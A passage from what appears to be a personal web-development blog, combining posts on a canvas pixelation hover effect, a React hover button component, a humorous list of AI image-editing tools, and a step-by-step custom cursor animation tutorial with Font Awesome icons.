        width: 100%;
        height: 100%;
        background-size: cover;
        background-position: center;
        clip-path: polygon(20% 20%, 80% 20%, 80% 80%, 20% 80%);
        border-radius: 20%;
      }
    </style>
  </head>
  <body>
    <div class="main_container">
      <div
        class="outerImage"
        onmouseenter="removePixelation()"
        onmouseleave="applyPixelation()"
      >
        <canvas id="canvas" class="innerImage"></canvas>
      </div>
    </div>

    <script>
      var img = new Image();
      img.src = "/pi.png";
      img.onload = function () {
        console.log("image loaded");
        draw(this);
      };

      var pixels = [];

      var canvas = document.getElementById("canvas");
      var ctx = canvas.getContext("2d");
      var size = 30; // size of the pixels
      var imgData;

      function draw(img) {
        canvas.width = img.width;
        canvas.height = img.height;
        ctx.drawImage(img, 0, 0, img.width, img.height);
        imgData = ctx.getImageData(0, 0, canvas.width, canvas.height);
        applyPixelation();
      }

      var originalImagel;
      function applyPixelation() {
        console.log("applying pixelation");

        originalImagel = ctx.getImageData(0, 0, canvas.width, canvas.height);
        ctx.clearRect(0, 0, canvas.width, canvas.height);

        // Create an array of all pixel positions
        pixels = [];
        for (var i = 0; i < imgData.width; i += size) {
          for (var j = 0; j < imgData.height; j += size) {
            pixels.push({ x: i, y: j });
          }
        }

        // Shuffle the array
        pixels.sort(() => Math.random() - 0.5);

        var index = 0;
        function drawPixel() {
          for (let k = 0; k < 4; k++) {
            // Draw 4 pixels at a time
            if (index >= pixels.length) {
              return; // All pixels have been drawn
            }
            var pixel = pixels[index++];
            var color = getAverageColor(pixel.x, pixel.y, size, imgData);
            ctx.fillStyle =
              "rgb(" + color.r + "," + color.g + "," + color.b + ")";
            ctx.fillRect(pixel.x, pixel.y, size, size);
          }
          setTimeout(drawPixel, 0); // Call drawPixel again after a delay
        }
        drawPixel(); // Start the drawing process
      }

      //   function removePixelation() {
      //     ctx.putImageData(imgData, 0, 0);
      //   }
      function removePixelation() {
        if (!pixels || pixels.length === 0) {
          // Reinitialize the pixels array if needed
          pixels = [];
          for (var i = 0; i < imgData.width; i += size) {
            for (var j = 0; j < imgData.height; j += size) {
              pixels.push({ x: i, y: j });
            }
          }
          // Reverse the order of the pixels to un-pixelate from the last to the first
          pixels.reverse();
        }

        var index = 0;
        function revealPixel() {
          for (let k = 0; k < 4; k++) {
            // Reveal multiple pixels at a time for a faster animation
            if (index >= pixels.length) {
              return; // All pixels have been revealed
            }
            var pixel = pixels[index++];
            // Clear the specific pixel block
            ctx.clearRect(pixel.x, pixel.y, size, size);
            // Draw the original pixels within each block from the stored original image
            ctx.putImageData(
              originalImagel,
              -pixel.x,
              -pixel.y,
              pixel.x,
              pixel.y,
              size,
              size
            );
          }
          setTimeout(revealPixel, 0); // Call revealPixel again after a delay
        }
        revealPixel(); // Start the revealing process
      }

      function getAverageColor(x, y, size, imgData) {
        var total = { r: 0, g: 0, b: 0, count: 0 };
        for (var i = 0; i < size; i++) {
          for (var j = 0; j < size; j++) {
            var idx = (x + i + (y + j) * imgData.width) * 4;
            total.r += imgData.data[idx + 0];
            total.g += imgData.data[idx + 1];
            total.b += imgData.data[idx + 2];
            total.count++;
          }
        }
        return {
          r: (total.r / total.count) | 0,
          g: (total.g / total.count) | 0,
          b: (total.b / total.count) | 0,
        };
      }
    </script>
  </body>
</html>

The Conclusion

I added this cool animated pixel effect to my portfolio site. It makes the profile picture come to life when you hover over it. Check it out at daviddodda.com.

and shutout to @domi_kissi and @inCleveri for the inspiration.

yoinked it from stream elements landing page.

import { css } from "@emotion/css";
import { useState } from "react";

const number_of_internal_squares = 10;

/**
 * Btn is a functional component that renders a button with hover effects.
 *
 * @param {Object} props - The properties passed to the component.
 * @param {string} props.bg_color - The background color of the button.
 * @param {string} props.text_color - The color of the text in the button.
 * @param {string} props.text - The text displayed in the button.
 * @param {number} props.width - The width of the button.
 * @param {number} props.height - The height of the button.
 *
 * @returns {JSX.Element} The rendered button component.
 */
function Btn(props) {
  const bg_color = props.bg_color;
  const text_color = props.text_color;
  const text = props.text;

  const [is_hover, setIsHover] = useState(false);

  return (
    <a
      className={css`
        width: ${props.width};
        height: ${props.height};
        color: ${text_color};
        font-size: 2em;
        display: flex;
        justify-content: center;
        align-items: center;
        position: relative;
        transition: all 0.2s;
        :hover {
          cursor: pointer;
          background-color: #000;
        }
      `}
      onMouseEnter={() => setIsHover(true)}
      onMouseLeave={() => setIsHover(false)}
    >
      <div
        className={css`
          position: fixed;
          top: 45%;
          left: 50% - ${props.width / 2}px;
          display: flex;
          flex-direction: column;
          z-index: 11;
        `}
      >
        <div
          className={css`
            font-size: 1.75em;
            font-weight: bold;
            text-transform: uppercase;
            font-family: "Work Sans", sans-serif;
          `}
        >
          {text}
        </div>
        <div
          className={css`
            font-size: 0.5em;
            margin-top: ${is_hover ? "0px" : "40px"};
            height: ${is_hover ? "0px" : "auto"};
            overflow: hidden;
            transition: all 0.3s ease 0s;
          `}
        >
          Some other desctiption
        </div>
        <div
          className={css`
            margin-top: ${is_hover ? "-10px" : "20px"};
            font-size: 3em;
            font-weight: bold;
          `}
        >
          &#8594;
        </div>
      </div>
      {/* DON'T PANIC, the below line is just the range() function in python. */}
      {[...Array(number_of_internal_squares).keys()].map((i) => {
        return (
          <span
            className={css`
              display: block;
              position: absolute;
              inset: ${i * 3.5}%;
              background-color: ${bg_color};
              opacity: ${is_hover ? (i != 9 ? (i == 0 ? 0 : 0.25) : 1) : 1};
              transition: opacity 0.3s ease 0s;
            `}
          ></span>
        );
      })}
    </a>
  );
}

export default Btn;

1. Cleanup with a 'Click' - Cleanup.pictures

First up is Cleanup.pictures, the digital equivalent of a magic wand. Wave goodbye to those photobombing squirrels or pesky power lines. This tool uses AI magic to make unwanted elements vanish - abraclean-dabra!

2. Background Begone! - Remove.bg

Next, Remove.bg takes the stage. It's like a magician who makes backgrounds disappear in a poof! Perfect for when you want your subject to stand out, not the random lamp post in the background. It’s so easy, you might say the backgrounds just 'PNG-out' of existence.

3. Size Matters - Imgupscaler.com

Then there's Imgupscaler.com, your fairy godmother for small, blurry images. It transforms your 'Cinderella' pixels into a stunning 4K 'ball-ready' vision. No more squinting at pixelated pictures - it's time for a clarity party!

4. Vectorizing Like a Pro - Vectorizer.ai

Finally, Vectorizer.ai turns your images into vectors, the superheroes of scalability. Whether you're going as small as an ant or as big as a billboard, these vectors won't lose their cool. It's like yoga for your images - stretch without the stress!

Conclusion

So there you have it, a journey from pixel purgatory to digital paradise. Remember, with these tools in your arsenal, your AI-generated images can go from 'meh' to 'masterpiece' in a few fun-filled steps.

Adding a Basic Custom Cursor

Step 1: HTML Setup

Start by adding two div elements in your HTML, one for the cursor and another for the cursor follower:

​
<div class="cursor default-cursor" id="cursor"></div>
<div class="cursor-follower default-cursor-follower" id="cursor-follower"></div>

These elements will serve as our custom cursor and its follower.

Step 2: CSS Styling

Next, style both the cursor and the follower in CSS:

​
.cursor, .cursor-follower {
    border-radius: 50%;
    position: fixed;
    transform: translate(-50%, -50%);
    pointer-events: none;
}
​
.default-cursor {
    width: 8px;
    height: 8px;
    background-color: var(--accent-color);
    z-index: 9999;
}
​
.default-cursor-follower {
    width: 36px;
    height: 36px;
    background-color: var(--accent-color);
    opacity: 0.2;
    z-index: 999;
}

Step 3: JavaScript Interactivity

After setting up the HTML and CSS for the custom cursor and its follower, we need to add an animate function in JavaScript. This function will create a smooth following motion for the cursor follower, enhancing the interactive experience.

let cursorFollower = document.getElementById("cursor-follower");
let cursor = { x: 0, y: 0 };
let follower = { x: 0, y: 0, vx: 0, vy: 0 };
​
const stiffness = 0.07; // Spring stiffness
const damping = 0.1; // Damping coefficient
​
function animate() {
    // Calculate spring force
    let dx = cursor.x - follower.x;
    let dy = cursor.y - follower.y;
    let springForceX = dx * stiffness;
    let springForceY = dy * stiffness;
​
    // Damping
    follower.vx *= damping;
    follower.vy *= damping;
​
    // Apply forces to velocity
    follower.vx += springForceX;
    follower.vy += springForceY;
​
    // Update position
    follower.x += follower.vx;
    follower.y += follower.vy;
​
    // Apply position to the DOM element
    cursorFollower.style.left = follower.x + "px";
    cursorFollower.style.top = follower.y + "px";
​
    requestAnimationFrame(animate);
}
​
animate();

Use JavaScript to make the custom cursor track the mouse movement:

document.addEventListener("mousemove", function (e) {
    cursor.x = e.clientX;
    cursor.y = e.clientY;
​
    var cursor_el = document.getElementById("cursor");
    cursor_el.style.left = e.clientX + "px";
    cursor_el.style.top = e.clientY + "px";
});

This script enables the cursor and follower to follow the mouse movements on the screen.

Hover Animation with Different Links and Font Awesome Icons

Enhance your cursor's interactivity with hover animations over links by incorporating Font Awesome icons.

Step 1: Include Font Awesome

First, ensure you've included Font Awesome in your HTML. Here, we use version 4:

​
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">

Step 2: HTML Link Setup with Font Awesome Icons

Modify your HTML links to include data- attributes that reference specific Font Awesome icons. It's important to use the correct icon name as per Font Awesome version 4:

​
<a href="#" data-cursor="link" data-cursoricon="twitter">Twitter</a>

In this example, data-cursoricon="twitter" will correspond to the Twitter icon in Font Awesome v4.

Step 3: Find Correct Icon Names

To ensure you are using the correct icon names from Font Awesome version 4, visit their website and search for icons. The icon name should exactly match the value in the data-cursoricon attribute. Font Awesome v4 Icons.

Step 4: CSS for Hover State

Add CSS for the hover state of the cursor. When hovering over a link, the cursor will change its appearance and include the Font Awesome icon:

​
.link-cursor {
    width: 32px;
    height: 32px;
    background-color: var(--secondary-color);
    z-index: 9999;
    color: var(--primary-color);
}

.link-cursor-follower {
    width: 52px;
    height: 52px;
    background-color: var(--secondary-color);
    opacity: 1;
}

.link-cursor i {
    display: block;
    font-size: 1.2rem;
}

Step 5: JavaScript for Dynamic Hover Effects

Use JavaScript to change the cursor's appearance based on the hovered link. The cursor will dynamically display the corresponding Font Awesome icon:

​
document.addEventListener("mousemove", function (e) {
    cursor.x = e.clientX;
    cursor.y = e.clientY;
​
    var cursor_el = document.getElementById("cursor");

    cursor_el.style.left = e.clientX + "px";
    cursor_el.style.top = e.clientY + "px";
​
    if (e.target.dataset.cursor == "link") {
        cursor_el.classList.add("link-cursor");
        cursor_el.classList.remove("default-cursor");

        follower_el.classList.add("link-cursor-follower");
        cursorFollower.classList.remove("default-cursor-follower");
        cursor_el.innerHTML = `<i class="fa fa-${e.target.dataset.cursoricon}"></i>`;
    } else {
        cursor_el.classList.add("default-cursor");
        cursor_el.classList.remove("link-cursor");

        cursorFollower.classList.add("default-cursor-follower");
        follower_el.classList.remove("link-cursor-follower");
        cursor_el.innerHTML = "";
    }
});

With these steps, your website's cursor will not only follow the mouse but also change its appearance based on the hovered link, along with a follower enhancing the visual effect.

Conclusion

Custom cursor animations and follower effects offer a unique and creative way to boost user engagement on your website. By following the steps outlined above, you not only add these dynamic features but also open up a world of customization. Feel free to experiment and tweak the existing CSS and JavaScript to truly make these animations and effects your own. Whether it's adjusting the animation speed, changing colors, or experimenting with different shapes and sizes, the possibilities are endless. Dive in and give your site a personalized touch that reflects your style.

Code Pen